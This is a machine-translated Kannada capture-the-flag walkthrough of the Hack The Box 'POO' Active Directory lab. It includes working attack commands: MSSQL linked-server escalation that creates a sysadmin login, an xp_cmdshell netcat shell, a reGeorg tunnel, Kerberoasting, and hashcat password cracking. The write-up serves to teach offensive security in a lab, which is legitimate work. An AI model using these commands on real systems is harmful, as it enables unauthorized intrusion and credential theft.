ಈ ಲೇಖನದಲ್ಲಿ ನಾವು ಕೇವಲ ಯಂತ್ರದ ಅಂಗೀಕಾರವನ್ನು ವಿಶ್ಲೇಷಿಸುತ್ತೇವೆ, ಆದರೆ ಸೈಟ್ನಿಂದ ಸಂಪೂರ್ಣ ಮಿನಿ ಪ್ರಯೋಗಾಲಯ
ವಿವರಣೆಯಲ್ಲಿ ಹೇಳಿರುವಂತೆ, ಸಣ್ಣ ಸಕ್ರಿಯ ಡೈರೆಕ್ಟರಿ ಪರಿಸರದಲ್ಲಿ ದಾಳಿಯ ಎಲ್ಲಾ ಹಂತಗಳಲ್ಲಿ ಕೌಶಲ್ಯಗಳನ್ನು ಪರೀಕ್ಷಿಸಲು POO ಅನ್ನು ವಿನ್ಯಾಸಗೊಳಿಸಲಾಗಿದೆ. ಪ್ರವೇಶಿಸಬಹುದಾದ ಹೋಸ್ಟ್ನೊಂದಿಗೆ ರಾಜಿ ಮಾಡಿಕೊಳ್ಳುವುದು, ಸವಲತ್ತುಗಳನ್ನು ಹೆಚ್ಚಿಸುವುದು ಮತ್ತು 5 ಫ್ಲ್ಯಾಗ್ಗಳನ್ನು ಸಂಗ್ರಹಿಸುವಾಗ ಅಂತಿಮವಾಗಿ ಸಂಪೂರ್ಣ ಡೊಮೇನ್ ಅನ್ನು ರಾಜಿ ಮಾಡುವುದು ಗುರಿಯಾಗಿದೆ.
ಪ್ರಯೋಗಾಲಯಕ್ಕೆ ಸಂಪರ್ಕವು VPN ಮೂಲಕ. ಕೆಲಸದ ಕಂಪ್ಯೂಟರ್ನಿಂದ ಅಥವಾ ನಿಮಗೆ ಮುಖ್ಯವಾದ ಡೇಟಾ ಇರುವ ಹೋಸ್ಟ್ನಿಂದ ಸಂಪರ್ಕಿಸದಂತೆ ಶಿಫಾರಸು ಮಾಡಲಾಗಿದೆ, ಏಕೆಂದರೆ ನೀವು ಮಾಹಿತಿ ಸುರಕ್ಷತೆಯ ಕ್ಷೇತ್ರದಲ್ಲಿ ಏನನ್ನಾದರೂ ತಿಳಿದಿರುವ ಜನರೊಂದಿಗೆ ಖಾಸಗಿ ನೆಟ್ವರ್ಕ್ನಲ್ಲಿ ಕೊನೆಗೊಳ್ಳುವಿರಿ :)
ಸಾಂಸ್ಥಿಕ ಮಾಹಿತಿ
ಹೊಸ ಲೇಖನಗಳು, ಸಾಫ್ಟ್ವೇರ್ ಮತ್ತು ಇತರ ಮಾಹಿತಿಯೊಂದಿಗೆ ನವೀಕೃತವಾಗಿರಲು ನಿಮಗೆ ಸಹಾಯ ಮಾಡಲು, ನಾನು ರಚಿಸಿದ್ದೇನೆ
ಎಲ್ಲಾ ಮಾಹಿತಿಯನ್ನು ಶೈಕ್ಷಣಿಕ ಉದ್ದೇಶಗಳಿಗಾಗಿ ಮಾತ್ರ ಪ್ರಸ್ತುತಪಡಿಸಲಾಗಿದೆ. ಈ ಡಾಕ್ಯುಮೆಂಟ್ನ ಲೇಖಕರು ಈ ಡಾಕ್ಯುಮೆಂಟ್ ಅನ್ನು ಅಧ್ಯಯನ ಮಾಡುವುದರಿಂದ ಪಡೆದ ಜ್ಞಾನ ಮತ್ತು ತಂತ್ರಗಳ ಬಳಕೆಯ ಪರಿಣಾಮವಾಗಿ ಯಾರಿಗಾದರೂ ಉಂಟಾಗುವ ಯಾವುದೇ ಹಾನಿಗೆ ಯಾವುದೇ ಜವಾಬ್ದಾರಿಯನ್ನು ಸ್ವೀಕರಿಸುವುದಿಲ್ಲ.
ಪರಿಚಯ
ಈ ಎಂಡ್ಗೇಮ್ ಎರಡು ಯಂತ್ರಗಳನ್ನು ಒಳಗೊಂಡಿರುತ್ತದೆ ಮತ್ತು 5 ಫ್ಲ್ಯಾಗ್ಗಳನ್ನು ಒಳಗೊಂಡಿದೆ.
ಲಭ್ಯವಿರುವ ಹೋಸ್ಟ್ನ ವಿವರಣೆ ಮತ್ತು ವಿಳಾಸವನ್ನು ಸಹ ನೀಡಲಾಗಿದೆ.
ಪ್ರಾರಂಭಿಸೋಣ!
ರೆಕಾನ್ ಧ್ವಜ
ಈ ಯಂತ್ರವು 10.13.38.11 ರ IP ವಿಳಾಸವನ್ನು ಹೊಂದಿದೆ, ಅದನ್ನು ನಾನು /etc/hosts ಗೆ ಸೇರಿಸುತ್ತೇನೆ.
10.13.38.11 poo.htb
ಮೊದಲನೆಯದಾಗಿ, ನಾವು ತೆರೆದ ಪೋರ್ಟ್ಗಳನ್ನು ಸ್ಕ್ಯಾನ್ ಮಾಡುತ್ತೇವೆ. nmap ನೊಂದಿಗೆ ಎಲ್ಲಾ ಪೋರ್ಟ್ಗಳನ್ನು ಸ್ಕ್ಯಾನ್ ಮಾಡಲು ಬಹಳ ಸಮಯ ತೆಗೆದುಕೊಳ್ಳುವುದರಿಂದ, ನಾನು ಇದನ್ನು ಮೊದಲು masscan ಬಳಸಿ ಮಾಡುತ್ತೇನೆ. ನಾವು tun0 ಇಂಟರ್ಫೇಸ್ನಿಂದ ಎಲ್ಲಾ TCP ಮತ್ತು UDP ಪೋರ್ಟ್ಗಳನ್ನು ಸೆಕೆಂಡಿಗೆ 500 ಪ್ಯಾಕೆಟ್ಗಳ ವೇಗದಲ್ಲಿ ಸ್ಕ್ಯಾನ್ ಮಾಡುತ್ತೇವೆ.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
ಈಗ, ಪೋರ್ಟ್ಗಳಲ್ಲಿ ಕಾರ್ಯನಿರ್ವಹಿಸುವ ಸೇವೆಗಳ ಕುರಿತು ಹೆಚ್ಚು ವಿವರವಾದ ಮಾಹಿತಿಯನ್ನು ಪಡೆಯಲು, -A ಆಯ್ಕೆಯೊಂದಿಗೆ ಸ್ಕ್ಯಾನ್ ಅನ್ನು ರನ್ ಮಾಡೋಣ.
nmap -A poo.htb -p80,1433
ಆದ್ದರಿಂದ ನಾವು IIS ಮತ್ತು MSSQL ಸೇವೆಗಳನ್ನು ಹೊಂದಿದ್ದೇವೆ. ಈ ಸಂದರ್ಭದಲ್ಲಿ, ಡೊಮೇನ್ ಮತ್ತು ಕಂಪ್ಯೂಟರ್ನ ನಿಜವಾದ DNS ಹೆಸರನ್ನು ನಾವು ಕಂಡುಕೊಳ್ಳುತ್ತೇವೆ. ವೆಬ್ ಸರ್ವರ್ನಲ್ಲಿ ನಾವು IIS ಮುಖಪುಟದಿಂದ ಸ್ವಾಗತಿಸುತ್ತೇವೆ.
ಡೈರೆಕ್ಟರಿಗಳ ಮೂಲಕ ಹೋಗೋಣ. ಇದಕ್ಕಾಗಿ ನಾನು ಗೋಬಸ್ಟರ್ ಅನ್ನು ಬಳಸುತ್ತೇನೆ. ಪ್ಯಾರಾಮೀಟರ್ಗಳಲ್ಲಿ ನಾವು ಥ್ರೆಡ್ಗಳ ಸಂಖ್ಯೆಯನ್ನು 128 (-t), URL (-u), ನಿಘಂಟು (-w) ಮತ್ತು ನಮಗೆ ಆಸಕ್ತಿ ಹೊಂದಿರುವ ವಿಸ್ತರಣೆಗಳನ್ನು (-x) ಸೂಚಿಸುತ್ತೇವೆ.
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
ಇದು ನಮಗೆ /admin ಡೈರೆಕ್ಟರಿಗಾಗಿ HTTP ದೃಢೀಕರಣವನ್ನು ನೀಡುತ್ತದೆ, ಹಾಗೆಯೇ ಪ್ರವೇಶಿಸಬಹುದಾದ ಡೆಸ್ಕ್ಟಾಪ್ ಸೇವೆ .DS_Store ಫೈಲ್. .DS_Store ಫೈಲ್ಗಳ ಪಟ್ಟಿ, ಐಕಾನ್ ಸ್ಥಳಗಳು ಮತ್ತು ಆಯ್ಕೆಮಾಡಿದ ಹಿನ್ನೆಲೆ ಚಿತ್ರದಂತಹ ಫೋಲ್ಡರ್ಗಾಗಿ ಕಸ್ಟಮ್ ಸೆಟ್ಟಿಂಗ್ಗಳನ್ನು ಸಂಗ್ರಹಿಸುವ ಫೈಲ್ಗಳಾಗಿವೆ. ಅಂತಹ ಫೈಲ್ ವೆಬ್ ಡೆವಲಪರ್ಗಳ ವೆಬ್ ಸರ್ವರ್ ಡೈರೆಕ್ಟರಿಯಲ್ಲಿ ಕೊನೆಗೊಳ್ಳಬಹುದು. ಈ ರೀತಿಯಾಗಿ ನಾವು ಡೈರೆಕ್ಟರಿಯ ವಿಷಯಗಳ ಬಗ್ಗೆ ಮಾಹಿತಿಯನ್ನು ಪಡೆಯುತ್ತೇವೆ. ಇದಕ್ಕಾಗಿ ನೀವು ಬಳಸಬಹುದು
python3 dsstore_crawler.py -i http://poo.htb/
ನಾವು ಡೈರೆಕ್ಟರಿಯ ವಿಷಯಗಳನ್ನು ಪಡೆಯುತ್ತೇವೆ. ಇಲ್ಲಿ ಅತ್ಯಂತ ಆಸಕ್ತಿದಾಯಕ ವಿಷಯವೆಂದರೆ / dev ಡೈರೆಕ್ಟರಿ, ಇದರಿಂದ ನಾವು ಮೂಲಗಳು ಮತ್ತು db ಫೈಲ್ಗಳನ್ನು ಎರಡು ಶಾಖೆಗಳಲ್ಲಿ ನೋಡಬಹುದು. ಆದರೆ ಸೇವೆಯು IIS ShortName ಗೆ ದುರ್ಬಲವಾಗಿದ್ದರೆ ನಾವು ಫೈಲ್ ಮತ್ತು ಡೈರೆಕ್ಟರಿ ಹೆಸರುಗಳ ಮೊದಲ 6 ಅಕ್ಷರಗಳನ್ನು ಬಳಸಬಹುದು. ಬಳಸಿಕೊಂಡು ಈ ದುರ್ಬಲತೆಯನ್ನು ನೀವು ಪರಿಶೀಲಿಸಬಹುದು
ಮತ್ತು "poo_co" ನೊಂದಿಗೆ ಪ್ರಾರಂಭವಾಗುವ ಒಂದು ಪಠ್ಯ ಫೈಲ್ ಅನ್ನು ನಾವು ಕಂಡುಕೊಳ್ಳುತ್ತೇವೆ. ಮುಂದೆ ಏನು ಮಾಡಬೇಕೆಂದು ತಿಳಿಯದೆ, ಡೈರೆಕ್ಟರಿ ನಿಘಂಟಿನಿಂದ "ಸಹ" ದಿಂದ ಪ್ರಾರಂಭವಾಗುವ ಎಲ್ಲಾ ಪದಗಳನ್ನು ನಾನು ಸರಳವಾಗಿ ಆಯ್ಕೆ ಮಾಡಿದ್ದೇನೆ.
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
ಮತ್ತು ನಾವು ಅದನ್ನು wfuzz ಬಳಸಿ ವಿಂಗಡಿಸುತ್ತೇವೆ.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
ಮತ್ತು ನಾವು ಸರಿಯಾದ ಪದವನ್ನು ಕಂಡುಕೊಳ್ಳುತ್ತೇವೆ! ನಾವು ಈ ಫೈಲ್ ಅನ್ನು ನೋಡುತ್ತೇವೆ, ರುಜುವಾತುಗಳನ್ನು ಉಳಿಸಿ (DBNAME ಪ್ಯಾರಾಮೀಟರ್ ಮೂಲಕ ನಿರ್ಣಯಿಸುವುದು, ಅವು MSSQL ನಿಂದ ಬಂದವು).
ನಾವು ಧ್ವಜವನ್ನು ಒಪ್ಪಿಸುತ್ತೇವೆ ಮತ್ತು ನಾವು 20% ಅನ್ನು ಮುನ್ನಡೆಸುತ್ತೇವೆ.
ಹುಹ್ ಧ್ವಜ
ನಾವು MSSQL ಗೆ ಸಂಪರ್ಕಿಸುತ್ತೇವೆ, ನಾನು DBeaver ಅನ್ನು ಬಳಸುತ್ತೇನೆ.
ಈ ಡೇಟಾಬೇಸ್ನಲ್ಲಿ ನಮಗೆ ಆಸಕ್ತಿದಾಯಕ ಏನನ್ನೂ ಕಾಣುತ್ತಿಲ್ಲ, ನಾವು SQL ಸಂಪಾದಕವನ್ನು ರಚಿಸೋಣ ಮತ್ತು ಯಾವ ಬಳಕೆದಾರರು ಇದ್ದಾರೆ ಎಂಬುದನ್ನು ಪರಿಶೀಲಿಸೋಣ.
SELECT name FROM master..syslogins;
ನಮಗೆ ಇಬ್ಬರು ಬಳಕೆದಾರರಿದ್ದಾರೆ. ನಮ್ಮ ಸವಲತ್ತುಗಳನ್ನು ಪರಿಶೀಲಿಸೋಣ.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
ಹೀಗಾಗಿ, ಯಾವುದೇ ಸವಲತ್ತುಗಳಿಲ್ಲ. ಲಿಂಕ್ ಮಾಡಲಾದ ಸರ್ವರ್ಗಳನ್ನು ನೋಡೋಣ, ನಾನು ಈ ತಂತ್ರದ ಬಗ್ಗೆ ವಿವರವಾಗಿ ಬರೆದಿದ್ದೇನೆ
SELECT * FROM master..sysservers;
ನಾವು ಇನ್ನೊಂದು SQL ಸರ್ವರ್ ಅನ್ನು ಹೇಗೆ ಕಂಡುಹಿಡಿಯುತ್ತೇವೆ. Openquery() ಅನ್ನು ಬಳಸಿಕೊಂಡು ಈ ಸರ್ವರ್ನಲ್ಲಿ ಆಜ್ಞೆಗಳ ಕಾರ್ಯಗತಗೊಳಿಸುವಿಕೆಯನ್ನು ಪರೀಕ್ಷಿಸೋಣ.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');
ಮತ್ತು ನಾವು ಪ್ರಶ್ನೆ ಮರವನ್ನು ಸಹ ನಿರ್ಮಿಸಬಹುದು.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');
ಮುಖ್ಯ ವಿಷಯವೆಂದರೆ ನಾವು ಲಿಂಕ್ ಮಾಡಿದ ಸರ್ವರ್ಗೆ ವಿನಂತಿಯನ್ನು ಮಾಡಿದಾಗ, ವಿನಂತಿಯನ್ನು ಇನ್ನೊಬ್ಬ ಬಳಕೆದಾರರ ಸಂದರ್ಭದಲ್ಲಿ ಕಾರ್ಯಗತಗೊಳಿಸಲಾಗುತ್ತದೆ! ಲಿಂಕ್ ಮಾಡಲಾದ ಸರ್ವರ್ನಲ್ಲಿ ನಾವು ಯಾವ ಬಳಕೆದಾರರ ಸಂದರ್ಭದಲ್ಲಿ ಕಾರ್ಯನಿರ್ವಹಿಸುತ್ತಿದ್ದೇವೆ ಎಂಬುದನ್ನು ನೋಡೋಣ.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');
ಲಿಂಕ್ ಮಾಡಲಾದ ಸರ್ವರ್ನಿಂದ ನಮ್ಮದಕ್ಕೆ ಯಾವ ಸಂದರ್ಭದಲ್ಲಿ ವಿನಂತಿಯನ್ನು ಮಾಡಲಾಗಿದೆ ಎಂಬುದನ್ನು ಈಗ ನೋಡೋಣ!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');
ಆದ್ದರಿಂದ ಎಲ್ಲಾ ಸವಲತ್ತುಗಳನ್ನು ಹೊಂದಿರಬೇಕಾದ ಡಿಬಿಒ ಸಂದರ್ಭವಾಗಿದೆ. ಲಿಂಕ್ ಮಾಡಲಾದ ಸರ್ವರ್ನಿಂದ ವಿನಂತಿಯ ಸಂದರ್ಭದಲ್ಲಿ ಸವಲತ್ತುಗಳನ್ನು ಪರಿಶೀಲಿಸೋಣ.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
ನೀವು ನೋಡುವಂತೆ, ನಮಗೆ ಎಲ್ಲಾ ಸವಲತ್ತುಗಳಿವೆ! ಹೀಗೆ ನಮ್ಮದೇ ಆದ ಅಡ್ಮಿನ್ ಕ್ರಿಯೇಟ್ ಮಾಡೋಣ. ಆದರೆ ಅವರು ಅದನ್ನು ಓಪನ್ಕ್ವೆರಿ ಮೂಲಕ ಅನುಮತಿಸುವುದಿಲ್ಲ, ಅದನ್ನು ಎಕ್ಸಿಕ್ಯೂಟ್ ಎಟಿ ಮೂಲಕ ಮಾಡೋಣ.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
ಮತ್ತು ಈಗ ನಾವು ಹೊಸ ಬಳಕೆದಾರರ ರುಜುವಾತುಗಳೊಂದಿಗೆ ಸಂಪರ್ಕಿಸುತ್ತೇವೆ, ನಾವು ಹೊಸ ಫ್ಲ್ಯಾಗ್ ಡೇಟಾಬೇಸ್ ಅನ್ನು ಗಮನಿಸುತ್ತೇವೆ.
ನಾವು ಈ ಧ್ವಜವನ್ನು ಹಸ್ತಾಂತರಿಸುತ್ತೇವೆ ಮತ್ತು ಮುಂದುವರಿಯುತ್ತೇವೆ.
ಬ್ಯಾಕ್ಟ್ರ್ಯಾಕ್ ಫ್ಲ್ಯಾಗ್
MSSQL ಅನ್ನು ಬಳಸಿಕೊಂಡು ಶೆಲ್ ಅನ್ನು ಪಡೆಯೋಣ, ನಾನು ಇಂಪ್ಯಾಕೆಟ್ ಪ್ಯಾಕೇಜ್ನಿಂದ mssqlclient ಅನ್ನು ಬಳಸುತ್ತೇನೆ.
mssqlclient.py ralf:[email protected] -db POO_PUBLIC
ನಾವು ಪಾಸ್ವರ್ಡ್ಗಳನ್ನು ಪಡೆಯಬೇಕಾಗಿದೆ ಮತ್ತು ನಾವು ಈಗಾಗಲೇ ಎದುರಿಸಿದ ಮೊದಲ ವಿಷಯವೆಂದರೆ ವೆಬ್ಸೈಟ್. ಹೀಗಾಗಿ, ನಮಗೆ ವೆಬ್ ಸರ್ವರ್ ಕಾನ್ಫಿಗರ್ ಅಗತ್ಯವಿದೆ (ಅನುಕೂಲಕರವಾದ ಶೆಲ್ ಅನ್ನು ಬಿಡಲು ಸಾಧ್ಯವಿಲ್ಲ, ಸ್ಪಷ್ಟವಾಗಿ ಫೈರ್ವಾಲ್ ಚಾಲನೆಯಲ್ಲಿದೆ).
ಆದರೆ ಪ್ರವೇಶ ನಿರಾಕರಿಸಲಾಗಿದೆ. ನಾವು MSSQL ನಿಂದ ಫೈಲ್ ಅನ್ನು ಓದಬಹುದಾದರೂ, ಯಾವ ಪ್ರೋಗ್ರಾಮಿಂಗ್ ಭಾಷೆಗಳನ್ನು ಕಾನ್ಫಿಗರ್ ಮಾಡಲಾಗಿದೆ ಎಂಬುದನ್ನು ನಾವು ತಿಳಿದುಕೊಳ್ಳಬೇಕು. ಮತ್ತು MSSQL ಡೈರೆಕ್ಟರಿಯಲ್ಲಿ ನಾವು ಪೈಥಾನ್ ಇದೆ ಎಂದು ಕಂಡುಕೊಳ್ಳುತ್ತೇವೆ.
ನಂತರ web.config ಫೈಲ್ ಅನ್ನು ಓದುವಲ್ಲಿ ಯಾವುದೇ ಸಮಸ್ಯೆ ಇಲ್ಲ.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"
ಕಂಡುಬಂದ ರುಜುವಾತುಗಳೊಂದಿಗೆ, / ನಿರ್ವಾಹಕರಿಗೆ ಹೋಗಿ ಮತ್ತು ಧ್ವಜವನ್ನು ತೆಗೆದುಕೊಳ್ಳಿ.
ಕಾಲು ಧ್ವಜ
ವಾಸ್ತವವಾಗಿ, ಫೈರ್ವಾಲ್ ಅನ್ನು ಬಳಸುವುದರಿಂದ ಕೆಲವು ಅನಾನುಕೂಲತೆಗಳಿವೆ, ಆದರೆ ನೆಟ್ವರ್ಕ್ ಸೆಟ್ಟಿಂಗ್ಗಳ ಮೂಲಕ ನೋಡಿದಾಗ, IPv6 ಅನ್ನು ಸಹ ಬಳಸಲಾಗಿದೆ ಎಂದು ನಾವು ಗಮನಿಸುತ್ತೇವೆ!
ಈ ವಿಳಾಸವನ್ನು /etc/hosts ಗೆ ಸೇರಿಸೋಣ.
dead:babe::1001 poo6.htb
ಹೋಸ್ಟ್ ಅನ್ನು ಮತ್ತೊಮ್ಮೆ ಸ್ಕ್ಯಾನ್ ಮಾಡೋಣ, ಆದರೆ IPv6 ಪ್ರೋಟೋಕಾಲ್ ಬಳಸಿ.
ಮತ್ತು WinRM ಸೇವೆಯು IPv6 ನಲ್ಲಿ ಲಭ್ಯವಿದೆ. ಕಂಡುಬಂದ ರುಜುವಾತುಗಳೊಂದಿಗೆ ಸಂಪರ್ಕಿಸೋಣ.
ಡೆಸ್ಕ್ಟಾಪ್ನಲ್ಲಿ ಧ್ವಜವಿದೆ, ನಾವು ಅದನ್ನು ಹಸ್ತಾಂತರಿಸುತ್ತೇವೆ.
P00ned ಧ್ವಜ
ಬಳಸಿಕೊಂಡು ಹೋಸ್ಟ್ ಮೇಲೆ ವಿಚಕ್ಷಣ ನಡೆಸಿದ ನಂತರ
setspn.exe -T intranet.poo -Q */*
MSSQL ಮೂಲಕ ಆಜ್ಞೆಯನ್ನು ಚಲಾಯಿಸೋಣ.
ಈ ವಿಧಾನವನ್ನು ಬಳಸಿಕೊಂಡು, ನಾವು p00_hr ಮತ್ತು p00_adm ಬಳಕೆದಾರರ SPN ಅನ್ನು ಪಡೆದುಕೊಳ್ಳುತ್ತೇವೆ, ಅಂದರೆ ಅವರು Kerberoasting ನಂತಹ ದಾಳಿಗೆ ಗುರಿಯಾಗುತ್ತಾರೆ. ಸಂಕ್ಷಿಪ್ತವಾಗಿ, ನಾವು ಅವರ ಪಾಸ್ವರ್ಡ್ ಹ್ಯಾಶ್ಗಳನ್ನು ಪಡೆಯಬಹುದು.
ಮೊದಲು ನೀವು MSSQL ಬಳಕೆದಾರರಾಗಿ ಸ್ಥಿರವಾದ ಶೆಲ್ ಅನ್ನು ಪಡೆಯಬೇಕು. ಆದರೆ ನಾವು ಪ್ರವೇಶದಲ್ಲಿ ಸೀಮಿತವಾಗಿರುವುದರಿಂದ, ನಾವು 80 ಮತ್ತು 1433 ಪೋರ್ಟ್ಗಳ ಮೂಲಕ ಮಾತ್ರ ಹೋಸ್ಟ್ನೊಂದಿಗೆ ಸಂವಹನವನ್ನು ಹೊಂದಿದ್ದೇವೆ. ಆದರೆ ಪೋರ್ಟ್ 80 ಮೂಲಕ ಸುರಂಗ ಸಂಚಾರ ಸಾಧ್ಯ! ಇದಕ್ಕಾಗಿ ನಾವು ಬಳಸುತ್ತೇವೆ
ಆದರೆ ನಾವು ಅದನ್ನು ಪ್ರವೇಶಿಸಲು ಪ್ರಯತ್ನಿಸಿದಾಗ, ನಾವು 404 ದೋಷವನ್ನು ಪಡೆಯುತ್ತೇವೆ. ಇದರರ್ಥ *.aspx ಫೈಲ್ಗಳನ್ನು ಕಾರ್ಯಗತಗೊಳಿಸಲಾಗಿಲ್ಲ. ಈ ವಿಸ್ತರಣೆಗಳೊಂದಿಗೆ ಫೈಲ್ಗಳನ್ನು ಕಾರ್ಯಗತಗೊಳಿಸಲು, ASP.NET 4.5 ಅನ್ನು ಈ ಕೆಳಗಿನಂತೆ ಸ್ಥಾಪಿಸಿ.
dism /online /enable-feature /all /featurename:IIS-ASPNET45
ಮತ್ತು ಈಗ, ನಾವು tunnel.aspx ಅನ್ನು ಪ್ರವೇಶಿಸಿದಾಗ, ಎಲ್ಲವೂ ಹೋಗಲು ಸಿದ್ಧವಾಗಿದೆ ಎಂಬ ಪ್ರತಿಕ್ರಿಯೆಯನ್ನು ನಾವು ಸ್ವೀಕರಿಸುತ್ತೇವೆ.
ಅಪ್ಲಿಕೇಶನ್ನ ಕ್ಲೈಂಟ್ ಭಾಗವನ್ನು ಪ್ರಾರಂಭಿಸೋಣ, ಅದು ಟ್ರಾಫಿಕ್ ಅನ್ನು ಪ್ರಸಾರ ಮಾಡುತ್ತದೆ. ನಾವು ಪೋರ್ಟ್ 5432 ರಿಂದ ಸರ್ವರ್ಗೆ ಎಲ್ಲಾ ದಟ್ಟಣೆಯನ್ನು ರವಾನಿಸುತ್ತೇವೆ.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
ಮತ್ತು ನಮ್ಮ ಪ್ರಾಕ್ಸಿ ಮೂಲಕ ಯಾವುದೇ ಅಪ್ಲಿಕೇಶನ್ನ ದಟ್ಟಣೆಯನ್ನು ಕಳುಹಿಸಲು ನಾವು ಪ್ರಾಕ್ಸಿಚೈನ್ಗಳನ್ನು ಬಳಸುತ್ತೇವೆ. ಈ ಪ್ರಾಕ್ಸಿಯನ್ನು ಕಾನ್ಫಿಗರೇಶನ್ ಫೈಲ್ /etc/proxychains.conf ಗೆ ಸೇರಿಸೋಣ.
ಈಗ ಪ್ರೋಗ್ರಾಂ ಅನ್ನು ಸರ್ವರ್ಗೆ ಅಪ್ಲೋಡ್ ಮಾಡೋಣ
ಈಗ ನಾವು ಕೇಳುಗರನ್ನು MSSQL ಮೂಲಕ ಪ್ರಾರಂಭಿಸುತ್ತೇವೆ.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321
ಮತ್ತು ನಾವು ನಮ್ಮ ಪ್ರಾಕ್ಸಿ ಮೂಲಕ ಸಂಪರ್ಕಿಸುತ್ತೇವೆ.
proxychains rlwrap nc poo.htb 4321
ಮತ್ತು ಹ್ಯಾಶ್ಗಳನ್ನು ಪಡೆಯೋಣ.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt
ಮುಂದೆ ನೀವು ಈ ಹ್ಯಾಶ್ಗಳ ಮೇಲೆ ಪುನರಾವರ್ತಿಸಬೇಕು. rockyou ನಿಘಂಟಿನಲ್ಲಿ ಈ ಪಾಸ್ವರ್ಡ್ಗಳಿಲ್ಲದ ಕಾರಣ, ನಾನು Seclists ನಲ್ಲಿ ಒದಗಿಸಲಾದ ಎಲ್ಲಾ ಪಾಸ್ವರ್ಡ್ಗಳ ನಿಘಂಟುಗಳನ್ನು ಬಳಸಿದ್ದೇನೆ. ಹುಡುಕಾಟಕ್ಕಾಗಿ ನಾವು ಹ್ಯಾಶ್ಕ್ಯಾಟ್ ಅನ್ನು ಬಳಸುತ್ತೇವೆ.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
ಮತ್ತು ನಾವು ಎರಡೂ ಪಾಸ್ವರ್ಡ್ಗಳನ್ನು ಕಂಡುಕೊಳ್ಳುತ್ತೇವೆ, ಮೊದಲನೆಯದು ಡಚ್_ಪಾಸ್ವರ್ಡ್ಲಿಸ್ಟ್.txt ನಿಘಂಟಿನಲ್ಲಿ ಮತ್ತು ಎರಡನೆಯದು ಕೀಬೋರ್ಡ್-ಕಾಂಬಿನೇಷನ್ಗಳು.txt ನಲ್ಲಿ.
ಮತ್ತು ನಾವು ಮೂರು ಬಳಕೆದಾರರನ್ನು ಹೊಂದಿದ್ದೇವೆ, ಡೊಮೇನ್ ನಿಯಂತ್ರಕಕ್ಕೆ ಹೋಗೋಣ. ಮೊದಲು ನಾವು ಅವರ ವಿಳಾಸವನ್ನು ಕಂಡುಹಿಡಿಯುತ್ತೇವೆ.
ಅದ್ಭುತವಾಗಿದೆ, ಡೊಮೇನ್ ನಿಯಂತ್ರಕದ IP ವಿಳಾಸವನ್ನು ನಾವು ಕಂಡುಕೊಂಡಿದ್ದೇವೆ. ಡೊಮೇನ್ನ ಎಲ್ಲಾ ಬಳಕೆದಾರರನ್ನು ಕಂಡುಹಿಡಿಯೋಣ, ಹಾಗೆಯೇ ಅವರಲ್ಲಿ ಯಾರು ನಿರ್ವಾಹಕರು. ಮಾಹಿತಿಯನ್ನು ಪಡೆಯಲು ಸ್ಕ್ರಿಪ್ಟ್ ಅನ್ನು ಡೌನ್ಲೋಡ್ ಮಾಡಲು PowerView.ps1. ನಂತರ ನಾವು ದುಷ್ಟ-winrm ಅನ್ನು ಬಳಸಿಕೊಂಡು ಸಂಪರ್ಕಿಸುತ್ತೇವೆ, -s ಪ್ಯಾರಾಮೀಟರ್ನಲ್ಲಿ ಸ್ಕ್ರಿಪ್ಟ್ನೊಂದಿಗೆ ಡೈರೆಕ್ಟರಿಯನ್ನು ನಿರ್ದಿಷ್ಟಪಡಿಸುತ್ತೇವೆ. ತದನಂತರ ನಾವು PowerView ಸ್ಕ್ರಿಪ್ಟ್ ಅನ್ನು ಲೋಡ್ ಮಾಡುತ್ತೇವೆ.
